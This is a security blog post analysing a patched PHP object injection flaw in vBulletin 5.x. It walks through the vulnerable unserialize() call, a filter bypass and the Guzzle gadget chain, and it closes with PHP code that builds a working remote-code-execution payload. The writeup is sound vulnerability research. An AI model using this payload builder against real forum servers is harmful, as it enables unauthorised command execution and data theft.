Exploiting an N-day vBulletin PHP Object Injection Vulnerability
- published
- reading time
- 8 minutes
vBulletin is one of the most popular proprietary forum solutions over the Internet. It is used by some major websites, and according to the BuildWith website, vBulletin currently ranks at the second place on the Forum Software Usage Distribution in the Top 1 Million Sites, with over 2.000 websites using it among the “top 1 million”. vBulletin is also known for some famous 0-day Remote Code Execution (RCE) vulnerabilities that led to significant data breaches in 2019 and 2020. These are presumably the most famous, but it does boast a long history of security vulnerabilities. However, the one we are going to detail in this blog post should be an unknown and silently patched vulnerability that was fixed on July 2019 with the release of version 5.5.3. I’ve decided to write this blog post because I think it might be interesting to show the “magic” and potential of PHP Object Injection vulnerabilities… Let’s dig into it!
• Vulnerability details:
The vulnerability exists in all 5.x versions prior to 5.5.3, and can be exploited by registered users to inject arbitrary PHP objects into the application scope, allowing them to eventually execute arbitrary PHP code (RCE). The vulnerable code is located within the vB_Api_Vb4_private::movepm()
method, which is defined in the /core/vb/api/vb4/private.php script:
19class vB_Api_Vb4_private extends vB_Api
20{
21 public function movepm($messageids, $folderid)
22 {
23 $cleaner = vB::getCleaner();
24 $messageids = $cleaner->clean($messageids, vB_Cleaner::TYPE_STR);
25 $folderid = $cleaner->clean($folderid, vB_Cleaner::TYPE_UINT);
26
27 $userid = vB::getCurrentSession()->get('userid');
28 $folders = vB_Api::instance('content_privatemessage')->fetchFolders($userid);
29 if ($folders === null OR !empty($folders['errors']) OR empty($folders['systemfolders']))
30 {
31 return vB_Library::instance('vb4_functions')->getErrorResponse($folders);
32 }
33
34 switch($folderid)
35 {
36 case -1:
37 $folderid = $folders['systemfolders']['sent_items'];
38 break;
39 case 0:
40 $folderid = $folders['systemfolders']['messages'];
41 break;
42 default:
43 // otherwise, assume it's custom folder and folderid is valid.
44 break;
45 }
46
47
48
49
50 if (empty($messageids) || empty($folderid))
51 {
52 return array('response' => array('errormessage' => array('invalidid')));
53 }
54
55 $pm = unserialize($messageids);
56
57 if (empty($pm))
58 {
59 return array('response' => array('errormessage' => array('invalidid')));
60 }
This is pretty straightforward and easy to spot: user input passed through the “messageids” request parameter to the /ajax/api/vb4_private/movepm
route will be used without proper validation in a call to the unserialize()
PHP function at line 55. As such, a malicious user might be able to send a specially crafted serialized string (POP chain) that will result in an arbitrary PHP object(s) injection into the application scope, allowing them to carry out a variety of attacks, such as executing arbitrary PHP code. Let’s see how an attacker might be able to execute arbitrary PHP code…
• Building the POP chain:
First thing to take into account: as we can see from the above code snippet, at line 24 the “messageids” parameter is validated through the vB_Cleaner::clean()
method, which will strip out any occurrence of the null character from the string. That means we have to bypass this validation if our POP chain contains any private/protected property, which is our case. It is possible to bypass this restriction by changing any occurrence of ‘s:’ with ‘S:’ and any occurrence of null characters with ‘\00′ within the serialized string. So our first obstacle is circumvented, let’s move on!
Probably there are a number of ways to achieve arbitrary PHP code execution by making a POP chain leveraging classes defined within the vBulletin codebase, and this is the one I found… Well, actually I haven’t found anything new, because the first thing I noticed is that vBulletin includes Guzzle in its codebase, which has a publicly documented RCE POP chain. Before moving forward, we will see how this POP chain works: the class used to start the POP chain is GuzzleHttp\Psr7\FnStream
, that’s because of its destructor method:
48public function __destruct()
49{
50 if (isset($this->_fn_close)) {
51 call_user_func($this->_fn_close);
52 }
53}
This method will call the call_user_func()
PHP function at line 51, passing as argument the value of the _fn_close
property. Since this property can arbitrarily be set in our POP chain, it is possible to invoke any callback we want, i.e. a method of an arbitrary object. Indeed, the publicly documented Guzzle POP chain uses this to call the GuzzleHttp\HandlerStack::resolve()
method:
191public function resolve()
192{
193 if (!$this->cached) {
194 if (!($prev = $this->handler)) {
195 throw new \LogicException('No handler has been specified');
196 }
197
198 foreach (array_reverse($this->stack) as $fn) {
199 $prev = $fn[0]($prev);
200 }
201
202 $this->cached = $prev;
203 }
204
205 return $this->cached;
206}
Here at line 199 will be called the callback contained within the $fn[0]
variable, which is controllable through the stack
private property. We can also control the argument passed to the callback by manipulating the handler
private property. So you might think we are done: just use a PHP function like system
as callback (by setting the stack
property accordingly), and the OS command we want to execute as argument (by setting the handler
property).
Well, not so fast, because here it comes another problem we have to circumvent: if you try to deserialize the aforementioned Guzzle classes in the injection point, you will realize the deserialization will fail because you’ll get __PHP_Incomplete_Class
objects. That’s because those Guzzle classes, which are defined within the /core/packages/googlelogin/vendor/guzzlehttp/ directory, are not yet included by the application, and there’s no registered class autoloader which will automatically include them upon deserialization. The autoloading mechanism we require is defined by including the /core/packages/googlelogin/vendor/autoload.php script, so we need to find a way to include this file in order to successfully deserialize the Guzzle classes needed for our POP chain. This is possible thanks to the vB::autoload()
method, defined in the /core/vb/vb.php script:
343public static function autoload($classname, $load_map = false, $check_file = true)
344{
345 if (!$classname)
346 {
347 return;
348 }
349
350 self::$autoloadInfo[$classname] = array(
351 'loader' => 'core',
352 );
353
354 $filename = false;
355 $fclassname = strtolower($classname);
356
357 if (preg_match('#\W#', $fclassname))
358 {
359 return;
360 }
361
362 if (isset($load_map[$classname]))
363 {
364 $filename = $load_map[$classname];
365 }
366 else if (isset(self::$load_map[$classname]))
367 {
368 $filename = self::$load_map[$classname];
369 }
370 else
371 {
372 $segments = explode('_', $fclassname);
373
374 switch($segments[0])
375 {
376 case 'vb':
377 $vbPath = true;
378 $filename = VB_PATH;
379 break;
380 case 'vb5':
381 $vbPath = true;
382 $filename = VB5_PATH;
383 break;
384 default:
385 $vbPath = false;
386 $filename = VB_PKG_PATH;
387 break;
388 }
389
390 if (sizeof($segments) > ($vbPath ? 2 : 1))
391 {
392 $filename .= implode('/', array_slice($segments, ($vbPath ? 1 : 0), -1)) . '/';
393 }
394
395 $filename .= array_pop($segments) . '.php';
396 }
397
398 // Include the required class file
399 if ($filename)
400 {
401 self::$autoloadInfo[$classname]['filename'] = $filename;
402 if ($check_file AND !file_exists($filename))
403 {
404 return;
405 }
406 require($filename);
407
408 self::$autoloadInfo[$classname]['loaded'] = true;
409 }
410}
If the name of the class which will be autoloaded does not start with “vb” or “vb5″, it will try to include the class definition from the /core/packages directory (line 386 above, that’s the value of the VB_PKG_PATH
constant). This is exactly what we need: by sending a fake object in our POP chain – having googlelogin_vendor_autoload as class name – it might be possible to include the /core/packages/googlelogin/vendor/autoload.php script into the execution flow, which in turn will register the class autoloader for those Guzzle classes. This is possible by e.g. serializing an array of two elements: the first should be an instance of our fake class name, while the second element should be our Guzzle POP chain.
• Putting It All Together:
1class googlelogin_vendor_autoload {} // fake class to include the autoloader
2
3class GuzzleHttp_HandlerStack
4{
5 private $handler, $stack;
6
7 function __construct($cmd)
8 {
9 $this->stack = [['system']]; // the callback we want to execute
10 $this->handler = $cmd; // argument for the callback
11 }
12}
13
14class GuzzleHttp_Psr7_FnStream
15{
16 function __construct($callback)
17 {
18 $this->_fn_close = $callback;
19 }
20}
21
22$pop = new GuzzleHttp_HandlerStack('touch pwned'); // the command we want to execute
23$pop = new GuzzleHttp_Psr7_FnStream([$pop, 'resolve']);
24
25$chain = serialize([new googlelogin_vendor_autoload, $pop]);
26
27$chain = str_replace(['s:', chr(0)], ['S:', '\00'], $chain);
28$chain = str_replace('GuzzleHttp_HandlerStack', 'GuzzleHttp\HandlerStack', $chain);
29$chain = str_replace('GuzzleHttp_Psr7_FnStream', 'GuzzleHttp\Psr7\FnStream', $chain);
30$chain = str_replace('0GuzzleHttp\HandlerStack', '0GuzzleHttp\5CHandlerStack', $chain);
31
32print $chain;
Here you can find a full working Proof of Concept (PoC) script for this vulnerability. It’s a PHP script supposed to be used from the command line (CLI), and you should see an output like the following:
Conclusion
This was just an exercise for me, but I think it was worth posting this blog post because it shows how powerful PHP Object Injection vulnerabilities can be. Sometimes, depending on the target application, it might also be possible to abuse them to include arbitrary PHP files into the application execution flow by abusing class autoloading mechanisms. This can represent a security risk itself, because it might lead to Local File Inclusion (LFI) vulnerabilities. However, as we seen while exploiting this vBulletin vulnerability, this might also be very helpful to include the classes we want to use in our POP chain.